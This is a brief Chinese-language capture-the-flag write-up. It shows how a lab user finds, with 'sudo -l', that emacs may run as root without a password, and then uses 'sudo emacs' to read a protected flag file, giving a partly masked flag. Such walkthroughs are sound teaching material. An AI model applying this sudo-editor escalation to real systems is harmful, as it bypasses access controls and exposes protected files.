題目連結
https://learn.cylabacademy.org/library/735
題目解法
使用題目提供的 ssh 連線進去後,可以看到家目錄中有
flag.txt,但沒有權限讀取。ctf-player@challenge:~$ ls flag.txt ctf-player@challenge:~$ cat flag.txt cat: flag.txt: Permission denied ctf-player@challenge:~$ sudo cat flag.txt [sudo] password for ctf-player: Sorry, user ctf-player is not allowed to execute '/usr/bin/cat flag.txt' as root on challenge.使用
sudo加上-l參數可以查看當前使用者使用sudo的權限,發現可以使用sudo執行emacs指令。ctf-player@challenge:~$ sudo -l Matching Defaults entries for ctf-player on challenge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User ctf-player may run the following commands on challenge: (ALL) NOPASSWD: /bin/emacsemacs是一個文字編輯器,可以使用emacs開啟flag.txt,就可以看到裡面的內容了。sudo emacs flag.txtpicoCTF{ju5---------------30f}